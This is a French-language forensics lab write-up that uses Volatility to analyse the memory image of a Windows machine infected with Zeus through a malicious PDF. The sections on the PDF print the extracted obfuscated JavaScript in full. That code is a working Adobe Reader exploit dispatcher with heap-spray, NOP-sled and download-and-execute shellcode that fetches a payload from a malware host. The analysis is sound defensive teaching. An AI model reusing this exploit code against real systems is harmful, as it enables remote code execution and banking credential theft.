Installation de volatility sur kali linux 2020.
4
Wget [Link]
Sudo python2 [Link]
# mettre à niveau les outils de configuration pour éviter l’erreur "invalid command egg_info"
pip2 install --upgrade setuptools
# installer python-dev pour éviter l’erreur "x86_64-linux-gnu-gcc failed..."
sudo apt-get install python-dev
Maintenant que pip2 est installé, nous pouvons l'utiliser pour obtenir les dépendances de volatilité:
Pip2 install pycrypto
Pip2 install distorm3
git clone [Link]
cd volatility
sudo python [Link] install
une fois l’installation finalisée, vous pouvez vérifier en lançant [Link]
1. Veuillez Répertorier les processus en cours d’exécution sur la machine de la victime. Quel
processus était le plus probablement responsable de l'exploit initial?
[Link] pslist –f [Link]
L’analyse fait ressortir que le processus responsable de l’exploit initial n’est autre que :
0x820618c8 [Link] 1752 888 8 184 0 0 2010-02-
27 20:12:23 UTC+0000
Selon l'aperçu de l'incident, un collègue a envoyé un lien vers un PDF suspect par e-mail à l'utilisateur.
Ceci est un indice pour s’intéresser au processus [Link] (PID 1752). Il est à noter qu'Adobe Reader
possède un Parent PID 888 ([Link]). Cela pourrait signifier que l'utilisateur a ouvert le navigateur Web
Firefox. Il a probablement cliquer sur un lien qui a engendré l’ouverture de [Link] afin de lire le
fichier PDF.
2. Répertoriez les sockets ouverts sur la machine de la victime pendant l’infection. Existe-t-il des
processus suspects dont les sockets sont ouverts?
[Link] sockets -f [Link]
Volatility Foundation Volatility Framework 2.6.1
Offset(V) PID Port Proto Protocol Address Create Time
---------- -------- ------ ------ --------------- --------------- -----------
0x81c94e98 4 0 47 GRE [Link] 2010-02-26 03:35:00 UTC+0000
0x81cf2998 1040 68 17 UDP [Link] 2010-02-27 20:12:35 UTC+0000
0x81c833a0 880 1185 6 TCP [Link] 2010-02-27 20:12:36 UTC+0000
0x81c9a3e8 4 1030 6 TCP [Link] 2010-02-26 03:35:00 UTC+0000
0x81d14298 700 500 17 UDP [Link] 2010-02-26 03:34:26 UTC+0000
0x82094450 4 138 17 UDP [Link] 2010-02-27 19:48:57 UTC+0000
0x82210c40 1244 1189 6 TCP [Link] 2010-02-27 20:12:37 UTC+0000
0x820ac218 1040 1181 17 UDP [Link] 2010-02-27 20:12:35 UTC+0000
0x81ce2488 1100 1047 17 UDP [Link] 2010-02-26 03:43:12 UTC+0000
0x81d0fe98 880 30301 6 TCP [Link] 2010-02-27 20:12:36 UTC+0000
0x81eb6c58 4 445 6 TCP [Link] 2010-02-26 03:34:02 UTC+0000
0x81d09d80 1040 123 17 UDP [Link] 2010-02-27 19:48:57 UTC+0000
0x823e6008 948 135 6 TCP [Link] 2010-02-26 03:34:07 UTC+0000
0x81c96b98 1752 1178 6 TCP [Link] 2010-02-27 20:12:32 UTC+0000
0x81c6cd80 888 1168 6 TCP [Link] 2010-02-27 20:11:53 UTC+0000
0x81d1a8b8 1752 1177 17 UDP [Link] 2010-02-27 20:12:32 UTC+0000
0x820c37d0 1244 2869 6 TCP [Link] 2010-02-27 20:12:37 UTC+0000
0x81deee18 1040 123 17 UDP [Link] 2010-02-27 19:48:57 UTC+0000
0x82080880 888 1171 6 TCP [Link] 2010-02-27 20:11:53 UTC+0000
0x820f4528 700 0 255 Reserved [Link] 2010-02-26 03:34:26 UTC+0000
0x81d1a1a0 1100 1025 17 UDP [Link] 2010-02-26 03:34:34 UTC+0000
0x82063008 1244 1900 17 UDP [Link] 2010-02-27 19:48:57 UTC+0000
0x81cc72b0 1040 1182 17 UDP [Link] 2010-02-27 20:12:35 UTC+0000
0x81c75390 4 139 6 TCP [Link] 2010-02-27 19:48:57 UTC+0000
0x81cbd320 1040 1186 17 UDP [Link] 2010-02-27 20:12:36 UTC+0000
0x820d3d70 2024 1026 6 TCP [Link] 2010-02-26 03:34:35 UTC+0000
0x8205be98 888 1172 6 TCP [Link] 2010-02-27 20:11:53 UTC+0000
0x82061740 888 1176 6 TCP [Link] 2010-02-27 20:12:28 UTC+0000
0x81c98ce0 1244 1900 17 UDP [Link] 2010-02-27 19:48:57 UTC+0000
0x81cde008 880 1184 6 TCP [Link] 2010-02-27 20:12:36 UTC+0000
0x820f4aa8 700 4500 17 UDP [Link] 2010-02-26 03:34:26 UTC+0000
0x82118008 4 137 17 UDP [Link] 2010-02-27 19:48:57 UTC+0000
0x81dd2a80 4 445 17 UDP [Link] 2010-02-26 03:34:02 UTC+0000
0x81dec370 888 1169 6 TCP [Link] 2010-02-27 20:11:53 UTC+0000
[Link] connections -f [Link]
Volatility Foundation Volatility Framework 2.6.1
Offset(V) Local Address Remote Address Pid
---------- ------------------------- ------------------------- ---
0x81c6a9f0 [Link]:1176 [Link]:80 888
0x82123008 [Link]:1184 [Link]:80 880
0x81cd4270 [Link]:2869 [Link]:30379 1244
0x81e41108 [Link]:1168 [Link]:1169 888
0x8206ac58 [Link]:1169 [Link]:1168 888
0x82108890 [Link]:1178 [Link]:80 1752
0x82210440 [Link]:1185 [Link]:80 880
0x8207ac58 [Link]:1171 [Link]:80 888
0x81cef808 [Link]:2869 [Link]:30380 4
0x81cc57c0 [Link]:1189 [Link]:9393 1244
0x8205a448 [Link]:1172 [Link]:80 888
La vérification des adresses IP via le moteur de recherche WhoisIP fait ressortir deux adresses IP suspectes :
[Link] localisée à Téhéran, IRAN
[Link] localisée à Haïfa, ISRAEL
On constate aussi que :
Un seul processus est connecté à l'hébergement de Téhéran : PID 880 - [Link].
Deux processus se connectent à l'hébergement israélien: PID 888 - [Link] et PID 1752 -
[Link]
Les autres sockets ouverts suspects sont:
Socket d'écoute, port TCP 1030, PID 4 (peut être un service Windows standard)
socket connecté, port TCP 2869, adresse distante [Link]:30380 (absente de la liste de socket
ouverte, peut être État "CLOSE_WAIT". On l’a trouvé dans la liste des connexions ouvertes)
Prise d'écoute, port TCP 30301, PID 880
Deux sockets connectés, port TCP 1184 et 1185, adresse distante [Link] port HTTP PID
880
Socket connecté, port TCP 2869, adresse distante [Link]:30379 PID 1244
Socket connecté, port TCP 1189, adresse distante [Link]:9393 PID 1244
Les deux derniers sockets sont liés au service UPnP (voir l'article 832017 de la base de connaissances
Microsoft), mais ils ne peuvent pas être considérés comme sûrs. L'adresse IP de l'autre extrémité de la
connexion appartient probablement à un routeur domestique / petit bureau. En utilisant strings et grep sur
l'image mémoire, nous pouvons trouver des urls tel que:
[Link]
[Link]
[Link]
Ces URL ont la même forme que certaines URL de gestion Web de la plupart des routeurs. A l’offset
0x193a6496, nous pouvons trouver la chaine suivante encodée en codage UTF-16 :
<friendlyName>Xtreme N GIGABIT Router</friendlyName>
<manufacturer>D-Link Systems</manufacturer>
<manufacturerURL>[Link]
<modelDescription>Xtreme N GIGABIT Router</modelDescription>
<modelName>Xtreme N GIGABIT Router</modelName>
<modelNumber>DIR-655</modelNumber>
<modelURL>[Link]
<serialNumber>none</serialNumber>
<UDN>uuid:9473C6D5-5F48-37AE-906D-6A2F4D54C01D</UDN>
Les mêmes informations sont disponibles à l’offset 0x2355836 à l'aide de l'outil «strings» avec un codage
normal de 8 bits.
En utilisant la même stratégie, nous pouvons trouver quelques fragments d'appels UPnP SOAP liés aux
ports transférés du routeur à l'adresse IP de l'ordinateur en analyse ([Link]).
La plupart des routeurs souffrent d’une vulnérabilité UPnP donc nous ne pouvons pas exclure qu'un
malware ait ouvert des ports sur un routeur en utilisant des exploits spécifiques.
Pour ces raisons, nous avons deux processus suspects.
L'un est PID 880, c'est la ligne de commande: C: \ WINDOWS \ system32 \ svchost -k DcomLaunch
l'autre est PID 1752, Acrobat Reader, vu auparavant. Bien qu'il ne soit probablement responsable
que de l'exploit initial, il est toujours connecté à un site Web probablement malveillant, nous ne
pouvons donc pas l'exclure de la liste des processus suspects.
3. Répertoriez toutes les URL suspectes pouvant se trouver dans la mémoire du processus
suspect
[Link] -f [Link] memdump -p 880 -D dump/
Cette commande permet d’extraire toutes les pages résidant en mémoire du processus 880 dans un fichier
individuel qui a une taille de 91 Mo.
Nous utiliserons la command strings pour rechercher les adresses IP suspectes et les noms d'hôtes retrouvés
avant ([Link], [Link], http:// et pdf) conduit à des résultats intéressants:
strings [Link] | grep "[Link]" | sort | uniq
strings [Link] | grep "[Link] | grep -i "PDF" | sort | uniq
[Link]
[Link]
[Link]
[Link]
[Link]
Vou s devez faire le même traitement pour le processus PID 1752 sauf qu’on va etendre la recherche vers
le nom de domaine [Link]
[Link]
[Link]
[Link] Explorer 6.0&e=1
[Link] Explorer 6.0&e=2
[Link] Explorer 6.0&e=3
4. Existe-t-il d'autres processus contenant des URL pouvant indiquer des problèmes bancaires?
Si oui, quels sont ces processus et quelles sont les URL?
On commence par créer des fichiers de dump pour l’ensemble des processus suspects y compris le
navigateur web
strings [Link] | grep "bank" | sort | uniq -u
A[Link]
On va essayer de rechercher la chaine de caractères bankofamerica dans l’ensemble de processus suspects
for file in $(ls *.dmp); do echo $file; strings $file | grep bankofamerica; done
[Link]
A[Link]
[Link]
A[Link]
[Link]
A[Link]
[Link]
[Link]
A[Link]
[Link]
A[Link]
Analyse
C'est l'un des codages pour la « la redirection / Fake URL» utilisée dans le fichier de configuration
C:\WINDOWS\system32\lowsec\[Link] vers le site Web de la banque cible pour le phishing ou
l'injection HTML dans des formulaires en ligne.
5. Y a-t-il eu des fichiers qui ont pu être extraits du processus initial? Comment ces fichiers ont-
ils été extraits?
On peut utiliser la commande « foremost » sur le fichier mémoire [Link]
Foremost –i [Link] –t pdf –o output
Nous pouvons supposer que l'exploit initial était un fichier PDF malveillant, comme indiqué dans
l'histoire de simulation initiale (l'utilisateur ouvre un fichier PDF à partir d'un e-mail), nous regardons
donc dans le répertoire pdf généré (pid1752 / pdf /).
Il existe sept fichiers, tous partiellement ou totalement cassés. Les cinq premiers fichiers sont vraiment
courts, les deux derniers sont plus intéressants, 60kb et 600kb, respectivement nommés [Link] et
[Link].
Rien ne garantit que tous les fichiers extraits soient des PDF, car Foremost utilise simplement les en-têtes
pdf et le Magic Bytes pour extraire les fichiers potentiels.
└─$ file [Link]
[Link]: PDF document, version 1.4
┌──(kali㉿kali)-[~/TPsecapp/dump/output/pdf]
└─$ file [Link]
[Link]: PDF document, version 1.3
Si on exécute un grep sur chaque PDF extrait à la recherche de JavaScript, il est clair qu'un seul des deux
fichiers suspectés contient du Javascript.
grep -i javcript *.pdf
Binary file [Link] matches
pdfid [Link]
PDFiD 0.2.7 [Link]
PDF Header: %PDF-1.3
obj 6
endobj 6
stream 1
endstream 1
xref 2
trailer 2
startxref 1
/Page 1
/Encrypt 0
/ObjStm 0
/JS 1
/JavaScript 1
/AA 1
/OpenAction 0
/AcroForm 0
/JBIG2Decode 0
/RichMedia 0
/Launch 0
/EmbeddedFile 0
/XFA 0
/Colors > 2^24 0
Si vous ouvrez le fichier avec un editeur vous découvrirez la portion suivante en début de fichier
1054 0 obj^M
<</length 0000/Filter [/F#6c#61#74e#44e#63#6fde/#41#53#43II#38#35#44#65#63#6fd#65]>>^M
Nous remarquons que le / Javascript renvoie à une section 1054, au tout début du fichier.
En rouge, nous pouvons voir une commande de décodage obfusquée: / FlateDecode / ASCII85Decode.
En utilisant [Link], nous pouvons extraire le bloc entier contenant le Javascript:
./[Link] -f -o 1054 ./[Link]
obj 1054 0
Type:
Referencing:
Contains stream
[(1, '\r\n'), (2, '<<'), (2, '/Length'), (1, ' '), (3, '0000'), (2, '/Filter'),
(1, ' '), (2, '['), (2, '/F#6c#61#74e#44e#63#6fde'), (2,
'/#41#53#43II#38#35#44#65#63#6fd#65'), (2, ']'), (2, '>>'), (1, '\r\n')]
<<
/Length 0000
/Filter [
/FlateDecode /ASCII85Decode]
>>
"\nvar
xtdxJYVm='0111100000101011000001110010111100100001001101110001111100011011001011
11010011110010010100110000000100010010011100000010011010010000001100011110001111
110010100100101100010000100000001100001101000000110011100000100011010010.....
(…..)
Partie coupée
(…)
....function GcBigPkz(xtdxJYVm){return xtdxJYVm;}function
Dqakslkn(ENzEszAz,Dqakslkn){if(Dqakslkn==0){return 1;}var
VzBJVOyp=ENzEszAz;for(var GlyomGyU=1;GlyomGyU<Dqakslkn;GlyomGyU++)
{VzBJVOyp*=ENzEszAz;}return VzBJVOyp"
Selon ce que l’on voit: une grande portion de code Javascript obfusquée (84347 octets au total).
Lien de téléchargement [Link]
6. Si un fichier a été extrait du processus initial, quelles techniques a-t-il utilisées pour exécuter
l'exploit?
Tâche optionnelle : installer JSUnpack-n disponible sur Github. L’installation est longue. Les phases
d’installation sont disponibles sur le lien suivant : [Link]
n/blob/master/INSTALL
L’application de la commande python [Link] –v [Link] permet de détecter deux alertes
CVE : CVE-2008-2992 et CVE -2007-5659
Analysons le fichier PDF plus en détail.
La première étape consiste à essayer d'identifier l'objet contenant le code Javascript malveillant et de
l'extraire du fichier. Le code Javascript extrait sera ensuite analysion modifiée de Spidermonkey.
./
./[Link] --search javascript --raw ./[Link]
obj 11 0
Type:
Referencing: 1054 0 R
<</S/JavaScript/JS 1054 0 R>>
<<
/S /JavaScript
/JS 1054 0 R
>>
┌──(kali㉿kali)-[~/TPsecapp/dump/output/pdf]
└─$ ./[Link] --object 11 ./[Link]
obj 11 0
Type:
Referencing: 1054 0 R
<<
/S /JavaScript
/JS 1054 0 R
>>
┌──(kali㉿kali)-[~/TPsecapp/dump/output/pdf]
└─$ ./[Link] --object 1054 --raw --filter ./[Link] > [Link]
Une étape supplémentaire est requise ici. Nous devons modifier le code Javascript extrait de [Link]
afin de supprimer l'en-tête du flux. Par la suite, nous pouvons l'exécuter avec le Spidermonkey modifié.
L’outil peut être téléchargé et installé à partir du lien suivant (suivez sur le diapo mais ne le faites pas
maintenant)
[Link]
js [Link]
[Link]: ReferenceError: app is not defined
Le script fait référence à l'application objet qui nous suggère que cela pourrait être un exploit d'Adobe
Acrobat Reader. Jetons un coup d'œil aux fichiers journaux générés.
Cat [Link]
ls
function OzWJi(rzRoI,fxLUb){
while([Link]*2<fxLUb){
rzRoI+=rzRoI;
}
return [Link](0,fxLUb/2);
}
function bSuTN(){
var
Uueqk=sly("\uC033\u8B64\u3040\u0C78\u408B\u8B0C\u1C70\u8BAD\u0858\u09EB\u408B\u8D34\u7C40\
u588B\u6A3C\u5A44\uE2D1\uE22B\uEC8B\u4FEB\u525A\uEA83\u8956\u0455\u5756\u738B
\u8B3C\u3374\u0378\u56F3\u768B\u0320\u33F3\u49C9\u4150\u33AD\u36FF\uBE0F\u0314\uF238\u0874\u
CFC1\u030D\u40FA\uEFEB\u3B58\u75F8\u5EE5\u468B\u0324\u66C3\u0C8B\u8B48\u1C56\uD303\u048
B\u038A\u5FC3\u505E\u8DC3\u087D\u5257\u33B8\u8ACA\uE85B\uFFA2\uFFFF\uC032\uF78B\uAEF2\u
B84F\u2E65\u7865\u66AB\u6698\uB0AB\u8A6C\u98E0\u6850\u6E6F\u642E\u7568\u6C72\u546D\u8EB8\
u0E
4E\uFFEC\u0455\u5093\uC033\u5050\u8B56\u0455\uC283\u837F\u31C2\u5052\u36B8\u2F1A\uFF70\u045
5\u335B\u57FF\uB856\uFE98\u0E8A\u55FF\u5704\uEFB8\uE0CE\uFF60\u0455\u7468\u7074\u2F3A\u7
32F\u6165\u6372\u2D68\u656E\u7774\u726F\u2D6B\u6C70\u7375\u632E\u6D6F\u6C2F\u616F\u2E64\u68
70\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265\u3620\u
302E\u6526\u323D\u0000%25%30%25%30%25%30%25%30%25%30%25%30");
var HWXsi=202116108;
var ZkzwV=[];
var HsVTm=4194304;
var EgAxi=[Link]*2;
var fxLUb=HsVTm-(EgAxi+0x38);
var rzRoI=sly("\u9090\u9090");
rzRoI=OzWJi(rzRoI,fxLUb);
var tfFQG=(HWXsi-4194304)/HsVTm;
for(var gtqHE=0;gtqHE<tfFQG;gtqHE++){
ZkzwV[gtqHE]=rzRoI+Uueqk;
}
var eHmqR=sly("\u0c0c\u0c0c");
while([Link]<44952)
eHmqR+=eHmqR;
[Link]=[Link]({subj:"",msg:eHmqR});
}
function Soy(){
var dwl=new Array();
function ppu(BtM,dqO){
while([Link]*2<dqO){
BtM+=BtM;
}
BtM=[Link](0,dqO/2);
return BtM;
}
XrS=0x30303030;
HRb=sly("\uC033\u8B64\u3040\u0C78\u408B\u8B0C\u1C70\u8BAD\u0858\u09EB\u408B\u8D34\u7C40\u
588B\u6A3C\u5A44\uE2D1\uE22B\uEC8B\u4FEB\u525A\uEA83\u8956\u0455\u5756\u738B\u8B3C
\u3374\u0378\u56F3\u768B\u0320\u33F3\u49C9\u4150\u33AD\u36FF\uBE0F\u0314\uF238\u0874\uCFC1\u
030D\u40FA\uEFEB\u3B58\u75F8\u5EE5\u468B\u0324\u66C3\u0C8B\u8B48\u1C56\uD303\u048B\u038
A\u5FC3\u505E\u8DC3\u087D\u5257\u33B8\u8ACA\uE85B\uFFA2\uFFFF\uC032\uF78B\uAEF2\uB84F\u
2E65\u7865\u66AB\u6698\uB0AB\u8A6C\u98E0\u6850\u6E6F\u642E\u7568\u6C72\u546D\u8EB8\u0E4E\
uFF
EC\u0455\u5093\uC033\u5050\u8B56\u0455\uC283\u837F\u31C2\u5052\u36B8\u2F1A\uFF70\u0455\u335
B\u57FF\uB856\uFE98\u0E8A\u55FF\u5704\uEFB8\uE0CE\uFF60\u0455\u7468\u7074\u2F3A\u732F\u6
165\u6372\u2D68\u656E\u7774\u726F\u2D6B\u6C70\u7375\u632E\u6D6F\u6C2F\u616F\u2E64\u6870\u3F
70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265\u3620\u302E\u
6526\u313D\u0000\u0000%23%26%23%26%23%26%23%26%23%26%23%26%23%26%23%26%23%26
%23%26");
var jxU=4194304;
var RaR=[Link]*2;
var dqO=jxU-(RaR+0x38);
var BtM=sly("\u9090\u9090");
BtM=ppu(BtM,dqO);
var JYD=(XrS-4194304)/jxU;
for(var Prn=0;Prn<JYD;Prn++){
dwl[Prn]=BtM+HRb;
}
var IdI="66055447950636260127";
for(sly=0;sly<138*2;sly++){
IdI+="3";
}
[Link]("%45000f",IdI);
}
function ynu(shG){
shG=[Link](/[\+1]/g,"0");
shG=[Link](/[\+2]/g,"9");
shG=[Link](/[\+3]/g,"8");
shG=[Link](/[\+4]/g,"7");
shG=[Link](/[\+5]/g,"6");
shG=[Link](/[\+6]/g,"5");
shG=[Link](/[\+7]/g,"4");
shG=[Link](/[\+8]/g,"3");
shG=[Link](/[\+9]/g,"2");
shG=[Link](/[\+0]/g,"1");
return shG;
}
function XiIHG(){
var
cqcNr=sly("\uC033\u8B64\u3040\u0C78\u408B\u8B0C\u1C70\u8BAD\u0858\u09EB\u408B\u8D34\u7C40\
u588B\u6A3C\u5A44\uE2D1\uE22B\uEC8B\u4FEB\u525A\uEA83\u8956\u0455\u5756\u738B
\u8B3C\u3374\u0378\u56F3\u768B\u0320\u33F3\u49C9\u4150\u33AD\u36FF\uBE0F\u0314\uF238\u0874\u
CFC1\u030D\u40FA\uEFEB\u3B58\u75F8\u5EE5\u468B\u0324\u66C3\u0C8B\u8B48\u1C56\uD303\u048
B\u038A\u5FC3\u505E\u8DC3\u087D\u5257\u33B8\u8ACA\uE85B\uFFA2\uFFFF\uC032\uF78B\uAEF2\u
B84F\u2E65\u7865\u66AB\u6698\uB0AB\u8A6C\u98E0\u6850\u6E6F\u642E\u7568\u6C72\u546D\u8EB8\
u0E
4E\uFFEC\u0455\u5093\uC033\u5050\u8B56\u0455\uC283\u837F\u31C2\u5052\u36B8\u2F1A\uFF70\u045
5\u335B\u57FF\uB856\uFE98\u0E8A\u55FF\u5704\uEFB8\uE0CE\uFF60\u0455\u7468\u7074\u2F3A\u7
32F\u6165\u6372\u2D68\u656E\u7774\u726F\u2D6B\u6C70\u7375\u632E\u6D6F\u6C2F\u616F\u2E64\u68
70\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265\u3620\u
302E\u6526\u333D\u0000\u1334\u1334");
dPl=sly("\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9
090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090
\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u909
0\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u909
0\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u90
90\u9090\u9090\u9090\u9090\u9090\u9090\u9090")+cqcNr;
FQI=sly("\u9090\u9090");
fhT=5*2;
sLa=fhT+[Link];
while([Link]<sLa)
FQI+=FQI;
NJn=[Link](0,sLa);
eUq=[Link](0,[Link]-sLa);
while([Link]+sLa<0x40000)
eUq=eUq+eUq+NJn;
Cwy=[];
for(XWT=0;XWT<180;XWT++)
Cwy[XWT]=eUq+dPl;
var kKG=4012;
var LwZ=Array(kKG);
for(XWT=0;XWT<kKG;XWT++) {
LwZ[XWT]=sly("\u000a\u000a\u000a\u000a");
}
[Link](LwZ+"_N.bundle");
}
var sly=unescape,ZgA=[Link](),TjP=this;
if(ZgA<8) {
bSuTN();
}
if(ZgA>=8&&ZgA<9) {
Soy();
}
if(ZgA<=9) {
XiIHG();}
Il n'est pas possible d'analyser le script de manière complètement automatiquement via
Spidermonkey (car il manque des objets Adobe) alors essayons de comprendre ce qui se passe.
Le code semble être un répartiteur d'exploit qui appelle le bon exploit basé sur la version de
Viewer. Une simple analyse révèle que
Function: Soy()
Adobe Reader '[Link]()' JavaScript Function Stack Buffer Overflow Vulnerability exploit
Reference: [Link]
Function: bSuTN()
Adobe Acrobat and Reader Multiple Arbitrary Code Execution and Security Vulnerabilities exploit
Reference: [Link]
Function: XiIGH()
Adobe Acrobat and Reader Collab 'getIcon()' JavaScript Method Remote Code Execution
Vulnerability exploit
Reference: [Link]
Le shellcode utilisé semble le même donc nous préparons ce fichier
cat [Link]
function OzWJi(rzRoI,fxLUb){
while([Link]*2<fxLUb){
rzRoI+=rzRoI;
}
return [Link](0,fxLUb/2);
}
function bSuTN(){
var
Uueqk=sly("\uC033\u8B64\u3040\u0C78\u408B\u8B0C\u1C70\u8BAD\u0858\u09EB\u408B\u8
D34\u7C40\u588B\u6A3C\u5A44\uE2D1\uE22B\uEC8B\u4FEB\u525A\uEA83\u8956\u0455\u5
756\u738B\u8B3C\u3374\u0378\u56F3\u768B\u0320\u33F3\u49C9\u4150\u33AD\u36FF\uBE0
F\u0314\uF238\u0874\uCFC1\u030D\u40FA\uEFEB\u3B58\u75F8\u5EE5\u468B\u0324\u66C3\
u0C8B\u8B48\u1C56\uD303\u048B\u038A\u5FC3\u505E\u8DC3\u087D\u5257\u33B8\u8ACA\
uE85B\uFFA2\uFFFF\uC032\uF78B\uAEF2\uB84F\u2E65\u7865\u66AB\u6698\uB0AB\u8A6C\
u98E0\u6850\u6E6F\u642E\u7568\u6C72\u546D\u8EB8\u0E4E\uFFEC\u0455\u5093\uC033\u5
050\u8B56\u0455\uC283\u837F\u31C2\u5052\u36B8\u2F1A\uFF70\u0455\u335B\u57FF\uB856
\uFE98\u0E8A\u55FF\u5704\uEFB8\uE0CE\uFF60\u0455\u7468\u7074\u2F3A\u732F\u6165\u6
372\u2D68\u656E\u7774\u726F\u2D6B\u6C70\u7375\u632E\u6D6F\u6C2F\u616F\u2E64\u6870
\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265\u362
0\u302E\u6526\u323D\u0000%25%30%25%30%25%30%25%30%25%30%25%30");
var HWXsi=202116108;
var ZkzwV=[];
var HsVTm=4194304;
var EgAxi=[Link]*2;
var fxLUb=HsVTm-(EgAxi+0x38);
var rzRoI=sly("\u9090\u9090");
rzRoI=OzWJi(rzRoI,fxLUb);
var tfFQG=(HWXsi-4194304)/HsVTm;
for(var gtqHE=0;gtqHE<tfFQG;gtqHE++){
ZkzwV[gtqHE]=rzRoI+Uueqk;
}
var eHmqR=sly("\u0c0c\u0c0c");
while([Link]<44952)
eHmqR+=eHmqR;
[Link](Uueqk);
}
var sly=unescape;
bSuTN();
on execute ce fichier avec JS
js [Link]
et on analyse le fichier log généré avec l’editeur hex
22 | P a g e 00000000 ..3.d.@0x..@..p...X....@4.@|.X<jDZ..
00000024 +....OZR..[Link].s<.t3x..V.v ..[Link]
00000048 .3.6....8.t......@..X;.u.^.F$..f..H.
0000006C V........_^P..}.WR.3..[.....2.....O.
00000090 [Link].f.f..l...[Link]..N...U..P
000000B4 [Link].U......1RP.6./p.U.[[Link]......U
000000D8 .W....`.[Link]://search-network-plus
000000FC .com/[Link]?a=a&st=Internet Explor
00000120 er 6.0&e=2..%.0.%.0.%.0.%.0.%.0.%.0.
À première vue, il semble que c’est un shellcode d'exécution de
téléchargement et l'URL semble être :
[Link] Explorer
6.0&e=2
7. Répertoriez les fichiers suspects chargés par des processus sur l’ordinateur de la
victime. À partir de ces informations, quelle était la charge utile possible de
l’exploit initial qui affecterait le compte bancaire de la victime?
[Link] –f [Link] cmdline
En regardant à travers la sortie, PID 644 ([Link]) a un
exécutable chargé en mémoire qui semble être très étrange.
Afficher la liste de fichiers ouverts par processus
Le processus 1752 utilise un fichier temporaire suspect
File \DOCUME~1\ADMINI~1\LOCALS~1\Temp\plugtmp\[Link]
Le processus 644 [Link] utilise les fichiers
File \WINDOWS\system32\[Link]
File \WINDOWS\system32\lowsec\user.d
En utilisant ces informations on trouve des articles interessants sur google
[Link]
[Link]
[Link]
Les articles nous orientent vers une infection Zeus (ou Zbot). Le blog Threatfire nous donne
des indications supplémentaires sur le mécanisme d'infection possible. Selon le blog Threatfire,
Zeus s'injecte initialement dans [Link] et se superpose au premier véritable processus
svchost qu'il trouve. Étant donné que l’infection est probablement Zeus, cela expliquerait les
problèmes bancaires actuels de la victime, car Zeus est conçu pour voler les informations
d’identification de l’utilisateur.
8. Si des fichiers suspects peuvent être extraits d'un processus injecté, des produits
antivirus récupèrent-ils l'exécutable suspect? Quel est le résultat général des
produits antivirus?
En utilisant malfind, un plugin de volatilité de Michael Ligh, tous les exécutables peuvent être
extraits des processus exécutés sur la machine de la victime.
python volatility malfind2 -f images/hn_forensics.vmem -d out
Cela extrait tous les exécutables possibles qui pourraient être responsables de l'infection du
système. Chaque fichier extrait est nommé avec son PID associé. Nous savons que
[Link] est actuellement infecté et qu'un seul fichier exécutable est extrait associé au PID
644 ([Link]).
Un scan avec virus total
TR/[Link], Win32 :Zbot-BCW, Win32/cryptor, [Link],
……,TSPY_ZBOT.SMRL, [Link](v), Troj/Zbot-Hj, W32/[Link],
[Link]
La détection de ce fichier est encore quelque peu faible. Cependant, ceux qui le détectent
semblent trouver les signatures correctes pour Zeus.
Comme le montre l'analyse, l'exécutable [Link] est une variante d'un cheval de Troie connu
dans la nature sous le nom de ZeuS, qui se décline en deux éléments: un serveur, appelé ZeuS
Command & Control, et un client (un bot) qui doit être installé sur les ordinateurs des victimes.
La partie bot de ZeuS est capable de voler les informations d'identification des utilisateurs pour
les services en ligne (réseaux sociaux, comptes bancaires, comptes FTP et de messagerie, ...),
peut agir comme un redirecteur à des fins de phishing et est également capable de modifier les
sites Web visités côté client, en injectant du code HTML dans les pages demandées à un
navigateur Web.
9. Y a-t-il des entrées de registre associées associées à la charge utile?
Il s'agit d'un processus en trois étapes. Utilisez d'abord le hivescan pour énumérer tous les offset
de mémoire où les contenaires de registre peuvent être trouvées:
$ vol. hivescan -f [Link]
Offset (hex)
44658696 0x2a97008
44686176 0x2a9db60
48529416 0x2e48008
55269896 0x34b5a08
57399112 0x36bd748
59082008 0x3858518
70588752 0x4351950
111029088 0x69e2b60
114539360 0x6d3bb60
121604960 0x73f8b60
180321120 0xabf7b60
191408992 0xb68ab60
244959264 0xe99c820
Hivelist du plugin de volatilité affichera les décalages nécessaires pour les contenaires de
registre LOGICIEL. Pour analyser rapidement tous les décalages répertoriés dans la sortie ci-
dessus, enregistrez les valeurs de décalage hexadécimal dans un fichier ([Link]) et
parcourez-les avec le plugin hivelist.
$ for i in `cat [Link]`; do [Link] hivelist -f [Link] -o $i; done
$ [Link] hivelist -f [Link] -o 0x36bd748
Address Name
0xe151ea08 \WINDOWS\system32\config\SAM
0xe153e518 \WINDOWS\system32\config\SECURITY
0xe139d008 [no name]
0xe1035b60 \WINDOWS\system32\config\system
0xe102e008 [no name]
0xe1d6cb60 \Documents and Settings\Administrator\Local
Settings\Application Data\Microsoft\Windows\[Link]
0xe1de0b60 \Documents and Settings\Administrator\[Link]
0xe1769b60 \Documents and Settings\LocalService\Local Settings\Application
Data\Microsoft\Windows\[Link]
0xe17deb60 \Documents and Settings\LocalService\[Link]
0xe1797b60 \Documents and Settings\NetworkService\Local
Settings\Application Data\Microsoft\Windows\[Link]
0xe17a3820 \Documents and Settings\NetworkService\[Link]
0xe1526748 \WINDOWS\system32\config\software
0xe15a3950 \WINDOWS\system32\config\default
Affichez les valeurs de la clé Winlogon:
[Link] printkey -o 0xe1526748 -f [Link] "Microsoft\\Windows
NT\\CurrentVersion\\Winlogon"
Key name: Winlogon (Stable)
Last updated: Sat Feb 27 12:12:34 2010
Subkeys:
GPExtensions (Stable)
Notify (Stable)
SpecialAccounts (Stable)
GPExtensions (Stable)
Notify (Stable)
SpecialAccounts (Stable)
Values:
REG_DWORD AutoRestartShell : 1 (Stable)
REG_SZ DefaultDomainName : BOB-DCADFEDC55C (Stable)
REG_SZ DefaultUserName : Administrator (Stable)
REG_SZ LegalNoticeCaption : (Stable)
REG_SZ LegalNoticeText : (Stable)
